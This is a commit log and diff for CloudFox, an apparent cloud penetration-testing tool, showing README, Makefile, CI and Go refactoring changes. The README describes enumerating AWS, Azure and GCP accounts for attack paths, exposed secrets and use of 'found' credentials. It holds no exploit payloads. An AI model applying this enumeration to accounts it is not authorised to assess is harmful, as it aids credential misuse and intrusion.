Dominic Breuker f2cdf4d3dc add code for the ecs-tasks and elastic-network-interfaces commands 2022-11-02 21:43:26 +01:00
carlosvendramini-bf 59a7bd5aaa Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-10-31 15:52:59 -04:00
cvendramini2 18a500f1b7 fixed some bugs with az instances, still need to add sub and rg filters to az instances cli 2022-10-31 14:47:46 -04:00
sethsec-bf e262dae64f added buckets test, fixed ecr test 2022-10-31 12:50:35 -04:00
carlosvendramini-bf 4a992d3172 added identifier prefix to OutputSelector, it now prints [module][identifier] 2022-10-30 21:12:55 -04:00
carlosvendramini-bf 5e7bfb3cbd created a constants package and moved azure and utils constants there 2022-10-30 20:44:57 -04:00
carlosvendramini-bf a7cccdb7ea added better tests for azure instances command 2022-10-30 20:27:04 -04:00
carlosvendramini-bf 127f2c0fff Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-10-28 17:31:20 -04:00
carlosvendramini-bf 1926e2adb0 almost finished refactoring az instances, still some bugs 2022-10-28 17:29:57 -04:00
carlosvendramini-bf d1d335fa12 azure interactive scope menu now returns subscription and rg 2022-10-28 17:29:18 -04:00
carlosvendramini-bf 73da61eb37 removed sample aws ecr unit tests 2022-10-28 17:28:07 -04:00
carlosvendramini-bf 7cb4ba349d added exclusion for vscode launch files 2022-10-28 17:26:47 -04:00
sethsec-bf e1af1b8bcd sync lambda moduel to origin 2022-10-26 16:32:26 -04:00
sethsec-bf 1caa02c309 Merge branch 'main' of github.com:BishopFox/cloudfox into seth-dev 2022-10-25 21:58:10 -04:00
sethsec-bf 3b26a03d8d added carlos's test for ecr 2022-10-25 21:57:58 -04:00
carlosvendramini-bf 63e9338a2d changed order of code for readability 2022-10-20 09:12:14 -04:00
carlosvendramini-bf 36740bca65 Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-10-19 20:57:33 -04:00
sethsec-bf 118ed625d6 fixed bug in lambda loot where it was missing a parameter 2022-10-19 16:16:49 -04:00
carlosvendramini-bf 530dcbdb67 Merge pull request #15 from BishopFox/seth-dev
v1.8.0 to main
2022-10-19 10:46:56 -04:00
sethsec-bf 79eb720e72 updated readme 2022-10-19 10:09:18 -04:00
sethsec-bf c3dac71f1d updated version to 1.8.0 in main.go 2022-10-19 10:05:40 -04:00
sethsec-bf ecdd33c522 removed public col from lambda -- not ready yet 2022-10-19 10:01:03 -04:00
Seth Art 1c243c73dc Update README.md 2022-10-19 09:46:47 -04:00
sethsec-bf ca7df5a039 update image in readme 2022-10-19 09:16:34 -04:00
sethsec-bf 8850384fc0 pre 1..8.0 release cleanup 2022-10-19 09:12:13 -04:00
carlosvendramini-bf dfae1ce189 drafted a test for the AWS ecr command 2022-10-18 23:21:20 -04:00
carlosvendramini-bf 0e8febd690 Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-10-18 20:11:43 -04:00
sethsec-bf 775c233858 updated cloudfox permissions policy 2022-10-18 14:03:15 -04:00
sethsec-bf 9fc38f5e64 alphabetize module names and client order 2022-10-18 13:46:09 -04:00
sethsec-bf d20b2b1099 remove debug test 2022-10-18 13:45:31 -04:00
sethsec-bf eb95e887de finally got ram command working 2022-10-17 20:34:59 -04:00
carlosvendramini-bf 7641a3ecf4 adjusting menu for rg selection in azure 2022-10-17 10:37:27 -04:00
sethsec-bf 064f285652 cleaned up instances table 2022-10-17 07:58:14 -04:00
sethsec-bf 3e0718636f got admin check working on instances 2022-10-16 22:42:21 -04:00
carlosvendramini-bf b2033c0f82 Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-10-16 22:02:16 -04:00
carlosvendramini-bf d9b5c13b3b adjusted azure test cases 2022-10-16 21:59:32 -04:00
sethsec-bf f672c34806 updated lambda admin lookup map to that we can check local map to see if we know if the role is an admin already 2022-10-16 13:46:23 -04:00
Seth Art 4d4992da33 update version for the 1.7.2 bug fix release 2022-10-16 12:34:35 -04:00
Seth Art a5d4124bb1 Merge pull request #14 from motikan2010/bugfix/env-vars-command
small bugfix from env-vars command
2022-10-16 12:32:30 -04:00
motikan2010 6123172784 small bugfix from env-vars command 2022-10-16 22:29:33 +09:00
carlosvendramini-bf 0e12ca20b2 Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2022-10-15 17:31:10 -04:00
carlosvendramini-bf fe3a09ae4d finished refactoring az instances code, still need to add menu 2022-10-15 17:30:24 -04:00
sethsec-bf 6ace00021b fixed panic in all profiles mode when either credentials or config do not exist. 2022-10-13 22:46:01 -04:00
sethsec-bf 5183b32d75 fixed panic when file with list of profiles is not present 2022-10-13 22:33:59 -04:00
sethsec-bf ffa8e09fbe added profile name to stdout messages 2022-10-13 22:15:13 -04:00
Seth Art 26562574c3 Update README.md 2022-10-12 17:21:51 -04:00
sethsec-bf 2e82cc895d updated readme 2022-10-12 17:16:15 -04:00
sethsec-bf dadef384c0 updated lambda to include isAdmin check, fixed some bugs wtih all profiles, updated logrus so it could support one method calling another 2022-10-12 15:41:17 -04:00
carlosvendramini-bf e877139c76 refactoring azure instances command 2022-10-12 15:22:38 -04:00
carlosvendramini-bf 206542faf7 wrote an interactive menu for Azure 2022-10-09 19:41:26 -04:00
carlosvendramini-bf 5ec61019fb refactored some azure client code 2022-10-09 19:40:16 -04:00
carlosvendramini-bf e919c3c9e3 menu function for azure and test cases 2022-10-08 23:16:00 -04:00
carlosvendramini-bf 61da82896b Added RG code to build a RG selector in Azure 2022-10-08 17:03:02 -04:00
carlosvendramini-bf 3e3a9e8745 Refactored some Azure authentication code 2022-10-08 16:56:28 -04:00
sethsec-bf 40d7a3c2d0 added loot to lambda command, added unique resource total for tags command, bumped version to 1.8.0 2022-10-07 21:13:04 -04:00
sethsec-bf 8ce9a00697 fixed bug in outbound-assumed-roles - missing add to wg counter 2022-10-07 10:47:57 -04:00
sethsec-bf 7d8ebc27c7 first draft of lambda commandd 2022-10-06 23:19:20 -04:00
sethsec-bf 45e548cf0b cleaned up tags command a bit 2022-10-06 23:18:54 -04:00
sethsec-bf 9498d2db13 first draft of a tags command 2022-10-06 11:18:32 -04:00
sethsec-bf 71e85c29d2 merged pr #8 into this branch and added the new for loop logic to cloudformation command 2022-10-05 15:30:57 -04:00
sethsec-bf 5525266855 Merge remote-tracking branch 'origin/main' into seth-dev 2022-10-05 14:28:59 -04:00
Seth Art a28d4e8556 Merge pull request #8 from PrestigeTicko/multiple-aws-profiles
Multiple aws profiles
2022-10-05 14:27:38 -04:00
sethsec-bf ee7c3c0387 tried to use mock filesystem for tests, but still not working. TODO 2022-10-05 14:26:33 -04:00
sethsec-bf 467f6b459b fixed missing part of all-checks/inventory 2022-10-05 14:24:24 -04:00
sethsec-bf cc38c1f147 updated error message to include profile 2022-10-05 10:32:36 -04:00
sethsec-bf bb879c34c2 removed prerun-check from aws cobra command 2022-10-04 22:55:46 -04:00
sethsec-bf 00317a5336 Added profiles that are only in .aws/config to GetAllAWSProfiles(). Added check to avoid duplicates 2022-10-04 20:57:28 -04:00
sethsec-bf 8bfee76c28 Added error handling to multi profile mode for when a profile errors out. It would crash prorgram, but now it just skips the profile 2022-10-04 18:48:41 -04:00
sethsec-bf 712ec9c382 Added a check to confirm all profiles, but also added a way to override the confirmation so that it can be run non-interactively even in this mode 2022-10-03 23:01:01 -04:00
sethsec-bf 7c8afb6fef added cloudformation command 2022-09-25 13:52:11 -04:00
David 1a5f64e8c5 update readme 2022-09-23 22:44:22 -04:00
David 7c323f4f75 fix removed packages 2022-09-23 22:34:41 -04:00
David 3db423b740 minor changes 2022-09-23 17:26:43 -04:00
David abe6f3da61 merge main 2022-09-23 17:10:39 -04:00
David b33653822c update go.mod 2022-09-23 00:03:08 -04:00
David e15c71734e attempt 2 merge master 2022-09-22 23:56:55 -04:00
David 065e04affe everything working 2022-09-22 23:40:03 -04:00
David 18f6cbe35f saving work 2022-09-22 14:06:57 -04:00
148 changed files with 23228 additions and 4585 deletions

No files matched your search

Binary file not shown.

After

Width:  |  Height:  |  Size: 434 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 273 KiB

+2 -2
View File
@@ -15,10 +15,10 @@ jobs:
steps:
- name: Go 1.18
- name: Go 1.20
uses: actions/setup-go@v2
with:
go-version: ^1.18
go-version: ^1.20
id: go
- id: install-secret-key
+6 -2
View File
@@ -15,6 +15,7 @@
# Dependency directories (remove the comment below to include it)
# vendor/
.vscode
launch.json
######################################################
@@ -61,8 +62,11 @@ terraform.rc
untracked/*
output/*
cloudfox-output/*
*cloudfox-output*
cloudfox
*.log
*.bak
table_output.txt
*.txt
*.json
*.csv
*.log
+9 -9
View File
@@ -1,20 +1,20 @@
run:
go run main.go
/home/marauder/Downloads/go/bin/go run main.go
windows:
GOOS=windows GOARCH=386 go build
GOOS=windows GOARCH=386 /home/marauder/Downloads/go/bin/go build
sha1sum cloudfox.exe > sha1sum-win.txt
zip cloudfox-win.zip cloudfox.exe sha1sum-win.txt
rm cloudfox.exe sha1sum-win.txt
linux:
GOOS=linux GOARCH=386 go build
GOOS=linux GOARCH=386 /home/marauder/Downloads/go/bin/go build
sha1sum cloudfox > sha1sum-linux.txt
zip cloudfox-linux.zip cloudfox sha1sum-linux.txt
rm cloudfox sha1sum-linux.txt
macos:
GOOS=darwin GOARCH=amd64 go build
GOOS=darwin GOARCH=amd64 /home/marauder/Downloads/go/bin/go build
sha1sum cloudfox > sha1sum-mac.txt
zip cloudfox-mac.zip cloudfox sha1sum-mac.txt
rm cloudfox sha1sum-mac.txt
@@ -25,21 +25,21 @@ all: windows linux macos
release: clean
mkdir -p ./cloudfox
mkdir -p ./cloudfox
GOOS=windows GOARCH=amd64 go build -o ./cloudfox/cloudfox.exe .
GOOS=windows GOARCH=amd64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox.exe .
zip ./cloudfox/cloudfox-windows-amd64.zip ./cloudfox/cloudfox.exe
rm -rf ./cloudfox/cloudfox.exe
GOOS=linux GOARCH=amd64 go build -o ./cloudfox/cloudfox .
GOOS=linux GOARCH=amd64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox .
zip ./cloudfox/cloudfox-linux-amd64.zip ./cloudfox/cloudfox .
rm -rf ./cloudfox/cloudfox
GOOS=darwin GOARCH=amd64 go build -o ./cloudfox/cloudfox .
GOOS=darwin GOARCH=amd64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox .
zip ./cloudfox/cloudfox-macos-amd64.zip ./cloudfox/cloudfox
rm -rf ./cloudfox/cloudfox
GOOS=darwin GOARCH=arm64 go build -o ./cloudfox/cloudfox .
GOOS=darwin GOARCH=arm64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox .
zip ./cloudfox/cloudfox-macos-arm64.zip ./cloudfox/cloudfox
rm -rf ./cloudfox/cloudfox
clean:
rm -rf ./cloudfox
rm -rf ./cloudfox
+58 -17
View File
@@ -4,22 +4,34 @@ CloudFox helps you gain situational awareness in unfamiliar cloud environments.
#### CloudFox helps you answer the following common questions (and many more):
* What regions is this AWS account using and roughly how many resources are in the account?
* What secrets are lurking in EC2 userdata or service specific environment variables?
* What secrets are lurking in EC2 userdata or service specific environment variables?
* What workloads have administrative permissions attached?
* What actions/permissions does this [principal] have?
* What roles trusts are overly permissive or allow cross-account assumption?
* What role trusts are overly permissive or allow cross-account assumption?
* What endpoints/hostnames/IPs can I attack from an external starting point (public internet)?
* What endpoints/hostnames/IPs can I attack from an internal starting point (assumed breach within the VPC)?
* What filesystems can I potentially mount from a compromised resource inside the VPC?
## Demos, Examples, Walkthroughs
* [Blog - Introducing: CloudFox](https://bishopfox.com/blog/introducing-cloudfox)
* [Video - CloudFox Intro Demos](https://www.youtube.com/watch?v=ReWoUgpUuiQ)
* [Video - Tool Talk: CloudFox AWS sub-command walkthroughs](https://youtu.be/KKsYfL5uVU4?t=360)
## Quick Start
CloudFox is modular (you can run one command at a time), but there is an aws `all-checks` command that will run the other aws commands for you with sane defaults:
CloudFox is modular (you can run one command at a time), but there is an `aws all-checks` command that will run the other aws commands for you with sane defaults:
`cloudfox aws --profile [profile-name] all-checks`
![](/.github/images/cloudfox-output.png)
![](/.github/images/cloudfox-output-p1.png)
![](/.github/images/cloudfox-output-p2.png)
CloudFox is designed to be executed by a principal with limited read-only permissions, but it's purpose is to help you find attack paths that can be exploited in simulated compromise scenarios (aka, objective based penetration testing).
### White Box Enumeration
CloudFox was designed to be executed by a principal with limited read-only permissions, but it's purpose is to help you find attack paths that can be exploited in simulated compromise scenarios (aka, objective based penetration testing).
### Black Box Enumeration
CloudFox can be used with "found" credentials, similar to how you would use [weirdAAL](https://github.com/carnal0wnage/weirdAAL) or [enumerate-iam](https://github.com/andresriancho/enumerate-iam). Checks that fail, do so silently, so any data returned means your "found" creds have the access needed to retrieve it.
### Documentation
For the full documentation please refer to our [wiki](https://github.com/BishopFox/CloudFox/wiki).
@@ -27,9 +39,9 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
| Provider| CloudFox Commands |
| - | - |
| AWS | 15 |
| Azure | 2 (alpha) |
| GCP | Support Planned |
| AWS | 30 |
| Azure | 4 |
| GCP | 4 |
| Kubernetes | Support Planned |
@@ -52,6 +64,7 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
### AWS
* AWS CLI installed
* Supports AWS profiles, AWS environment variables, or metadata retrieval (on an ec2 instance)
* To run commands on multiple profiles at once, you can specify the path to a file with a list of profile names seperated by a new line using the `-l` flag or pass all stored profiles with the `-a` flag.
* A principal with one recommended policies attached (described below)
* Recommended attached policies: **`SecurityAudit` + [CloudFox custom policy](./misc/aws/cloudfox-policy.json)**
@@ -66,29 +79,61 @@ Additional policy notes (as of 09/2022):
| `arn:aws:iam::aws:policy/AdministratorAccess` | This will work just fine with CloudFox, but if you were handed this level of access as a penetration tester, that should probably be a finding in itself :) |
### Azure
* Viewer or similar permissions applied.
* Viewer or similar permissions applied.
# Supported Commands
### GCP
* `gcloud` CLI installed
* Proper SDK credentials available (`gcloud auth application-default login`)
* Viewer or similar permissions applied.
# AWS Commands
| Provider | Command Name | Description
| - | - | - |
| AWS | [all-checks](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#all-checks) | Run all of the other commands using reasonable defaults. You'll still want to check out the non-default options of each command, but this is a great place to start. |
| AWS | [access-keys](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#access-keys) | Lists active access keys for all users. Useful for cross referencing a key you found with which in-scope account it belongs to. |
| AWS | [buckets](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#filesystems) | Lists the buckets in the account and gives you handy commands for inspecting them further. |
| AWS | [cloudformation](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#cloudformation) | Lists the cloudformation stacks in the account. Generates loot file with stack details, stack parameters, and stack output - look for secrets. |
| AWS | [ecr](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#ecr) | List the most recently pushed image URI from all repositories. Use the loot file to pull selected images down with docker/nerdctl for inspection. |
| AWS | [ecs-tasks](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#ecs-tasks) | List all ecs tasks. This returns a list of ecs tasks and associated cluster, task definition, container instance, launch type, and associated IAM principal. |
| AWS | [eks](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#eks) | List all EKS clusters, see if they expose their endpoint publicly, and check the associated IAM roles attached to reach cluster or node group. Generates a loot file with the `aws eks udpate-kubeconfig` command needed to connect to each cluster. |
| AWS | [elastic-network-interfaces](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#eni) | List all eni information. This returns a list of eni ID, type, external IP, private IP, VPCID, attached instance and a description. |
| AWS | [endpoints](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#endpoints) | Enumerates endpoints from various services. Scan these endpoints from both an internal and external position to look for things that don't require authentication, are misconfigured, etc. |
| AWS | [env-vars](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#env-vars) | Grabs the environment variables from services that have them (App Runner, ECS, Lambda, Lightsail containers, Sagemaker are supported. If you find a sensitive secret, use `cloudfox iam-simulator` AND `pmapper` to see who has access to them. |
| AWS | [filesystems](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#filesystems) | Enumerate the EFS and FSx filesystems that you might be able to mount without creds (if you have the right network access). For example, this is useful when you have `ec:RunInstance` but not `iam:PassRole`. |
| AWS | [iam-simulator](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#iam-simulator) | Like pmapper, but uses the IAM policy simulator. It uses AWS's evaluation logic, but notably, it doesn't consider transitive access via privesc, which is why you should also always also use pmapper. |
| AWS | [instances](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#instances) | Enumerates useful information for EC2 Instances in all regions like name, public/private IPs, and instance profiles. Generates loot files you can feed to nmap and other tools for service enumeration. |
| AWS | [inventory](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#inventory) | Gain a rough understanding of size of the account and preferred regions. |
| AWS | [lambda](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#lambda) | Lists the lambda functions in the account, including which one's have admin roles attached. Also gives you handy commands for downloading each function. |
| AWS | [network-ports](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#network-ports) | Enumerates AWS services that are potentially exposing a network service. The security groups and the network ACLs are parsed for each resource to determine what ports are potentially exposed. |
| AWS | [outbound-assumed-roles](#outbound-assumed-roles) | List the roles that have been assumed by principals in this account. This is an excellent way to find outbound attack paths that lead into other accounts. |
| AWS | [permissions](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#permissions) | Enumerates IAM permissions associated with all users and roles. Grep this output to figure out what permissions a particular principal has rather than logging into the AWS console and painstakingly expanding each policy attached to the principal you are investigating. |
| AWS | [principals](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#principals) | Enumerates IAM users and Roles so you have the data at your fingertips. |
| AWS | [pmapper](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#pmapper) | Looks for pmapper data stored on the local filesystem, [in the locations defined here](https://github.com/nccgroup/PMapper/wiki/Frequently-Asked-Questions#where-does-pmapper-store-its-data). If pmapper data has been found (you already ran `pmapper graph create`), then this command will use this data to build a graph in cloudfox memory let you know who can privesc to admin.
| AWS | [principals](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#principals) | Enumerates IAM users and Roles so you have the data at your fingertips. |
| AWS | [ram](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#ram) | List all resources in this account that are shared with other accounts, or resources from other accounts that are shared with this account. Useful for cross-account attack paths. |
| AWS | [role-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#role-trusts) | Enumerates IAM role trust policies so you can look for overly permissive role trusts or find roles that trust a specific service. |
| AWS | [route53](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#route53) | Enumerate all records from all route53 managed zones. Use this for application and service enumeration. |
| AWS | [secrets](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#secrets) | List secrets from SecretsManager and SSM. Look for interesting secrets in the list and then see who has access to them using use `cloudfox iam-simulator` and/or `pmapper`. |
| Azure | [instances-map](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#instances-map) | Enumerates useful information for Compute instances in all available resource groups and subscriptions |
| Azure | [rbac-map](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#rbac-map) | Enumerates Role Assignments for all tenants |
| AWS | [sns](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#sns) | This command enumerates all of the sns topics and gives you the commands to subscribe to a topic or send messages to a topic (if you have the permissions needed). This command only deals with topics, and not the SMS functionality. This command also attempts to summarize topic resource policies if they exist.|
| AWS | [sqs](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#sqs) | This command enumerates all of the sqs queues and gives you the commands to receive messages from a queue and send messages to a queue (if you have the permissions needed). This command also attempts to summarize queue resource policies if they exist.|
| AWS | [tags](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#tags) | List all resources with tags, and all of the tags. This can be used similar to inventory as another method to identify what types of resources exist in an account. |
# Azure Commands
| Provider | Command Name | Description
| - | - | - |
| Azure | [whoami](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#whoami) | Displays information on the tenant, subscriptions and resource groups available to your current Azure CLI session. This is useful to provide situation awareness on what tenant and subscription IDs to use with the other sub commands. |
| Azure | [instances](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#instances) | Enumerates useful information for Compute instances in all available resource groups and subscriptions |
| Azure | [rbac](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#rbac) | Lists Azure RBAC role assignments at subscription or tenant level |
| Azure | [storage](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#storage) | The storage command is still under development. Currently it only displays limited data about the storage accounts |
# GCP Commands
| Provider | Command Name | Description
| - | - | - |
| GCP | [access-tokens](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#access-tokens) | Displays handy information about existing GCP credentials on your local machine |
| GCP | [hierarchy](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#hierarchy) Displays information on the projects available to your current Gcloud SDK credentials. This is useful to provide situation awareness on what organizations, folders and projects to use with the other sub commands.|
| GCP | [inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#inventory) Gain a rough understanding of size of the available organizations |
| GCP | [buckets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#buckets) Lists the buckets in the available organizations and gives you handy commands for inspecting them further. |
# Authors
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
@@ -97,10 +142,6 @@ Additional policy notes (as of 09/2022):
# Contributing
[Wiki - How to Contribute](https://github.com/BishopFox/cloudfox/wiki#how-to-contribute)
# TODO
* AWS - Add support for GovCloud and China regions
* AWS - Add support for hardcoded region (which would override the default of looking in every region)
# FAQ
@@ -110,7 +151,7 @@ CloudFox doesn't create any alerts or findings, and doesn't check your environme
**Why do I see errors in some CloudFox commands?**
* Services that don't exist in all regions - CloudFox currently makes the same API calls to every region. However, not all regions support all services. For instance, services like Appstream and AWS Grafana are only supported in a subset of the total regions. In the future, we plan to make CloudFox aware of which services run in each region.
* Services that don't exist in all regions - CloudFox tries a few ways to figure out what services are supported in each region. However some services don't support the methods CloudFox uses, so CloudFox defaults to just asking every region about the service. Regions that don't suppor the service will return errors.
* You don't have permission - Another reason you might see errors if you don't have permissions to make calls that CloudFox is making. Either because the policy doesn't allow it (e.g., SecurityAudit doesn't allow all of the permissions CloudFox needs. Or, it might be an SCP that is blocking you.
You can always look in the ~/.cloudfox/cloudfox-error.log file to get more information on errors.
+53 -58
View File
@@ -1,34 +1,33 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"strconv"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
)
type AccessKeysModule struct {
// General configuration data
IAMClient *iam.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSProfile string
OutputFormat string
Goroutines int
CommandCounter console.CommandCounter
WrapTable bool
CommandCounter internal.CommandCounter
// Main module data
AnalyzedUsers []UserKeys
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -42,16 +41,16 @@ func (m *AccessKeysModule) PrintAccessKeys(filter string, outputFormat string, o
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "access-keys"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
},
)
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s] Mapping user access keys for account: %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Mapping user access keys for account: %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
m.getAccessKeysForAllUsers()
// Variables used to draw table output
@@ -76,19 +75,35 @@ func (m *AccessKeysModule) PrintAccessKeys(filter string, outputFormat string, o
if len(m.output.Body) > 0 {
// Pretty prints output
fmt.Printf("[%s] Only active access keys are shown.\n", cyan(m.output.CallingModule))
//fmt.Printf("[%s] Preparing output.\n\n")
fmt.Printf("[%s][%s] Only active access keys are shown.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
//fmt.Printf("[%s][%s] Preparing output.\n\n")
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
m.writeLoot(m.output.FilePath, verbosity)
fmt.Printf("[%s] %s access keys found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
//m.writeLoot(m.output.FilePath, verbosity)
fmt.Printf("[%s][%s] %s access keys found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No access keys found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No access keys found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *AccessKeysModule) writeLoot(outputDirectory string, verbosity int) {
@@ -109,56 +124,36 @@ func (m *AccessKeysModule) writeLoot(outputDirectory string, verbosity int) {
if err != nil {
m.modLog.Error(err.Error())
}
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), f)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), f)
}
func (m *AccessKeysModule) getAccessKeysForAllUsers() {
// The "PaginationControl" value remains true until all data is received (default is 100 results per page).
// "" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationMarker *string
PaginationControl := true
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
for PaginationControl {
// added this to break out if there no users
if len(ListUsers) != 0 {
for _, user := range ListUsers {
IAMQuery, err := m.IAMClient.ListUsers(context.TODO(), &iam.ListUsersInput{Marker: PaginationMarker})
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
results, err := sdk.CachedIamListAccessKeys(m.IAMClient, aws.ToString(m.Caller.Account), aws.ToString(user.UserName))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
// added this to break out if there no users
if len(IAMQuery.Users) == 0 {
break
}
// This for loop extracts relevant information for each access key and adds to output array
for _, key := range results {
// This for loop iterates through all users.
for PaginationControl {
PaginationMarker = nil
for _, user := range IAMQuery.Users {
results, err := m.IAMClient.ListAccessKeys(context.TODO(), &iam.ListAccessKeysInput{UserName: user.UserName, Marker: PaginationMarker})
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
if key.Status == "Active" {
m.AnalyzedUsers = append(m.AnalyzedUsers, UserKeys{Username: *user.UserName, Key: *key.AccessKeyId})
}
// This for loop extracts relevant information for each access key and adds to output array
for _, key := range results.AccessKeyMetadata {
if key.Status == "Active" {
m.AnalyzedUsers = append(m.AnalyzedUsers, UserKeys{Username: *user.UserName, Key: *key.AccessKeyId})
}
}
PaginationControl = results.IsTruncated
PaginationMarker = results.Marker
}
}
PaginationControl = IAMQuery.IsTruncated
PaginationMarker = IAMQuery.Marker
}
}
+160 -45
View File
@@ -1,7 +1,6 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
@@ -10,36 +9,48 @@ import (
"sync"
"unicode/utf8"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/s3"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
)
type BucketsModule struct {
// General configuration data
S3Client *s3.Client
//BucketsS3Client CloudFoxS3Client
S3Client sdk.AWSS3ClientInterface
AWSRegions []string
AWSProfile string
Caller sts.GetCallerIdentityOutput
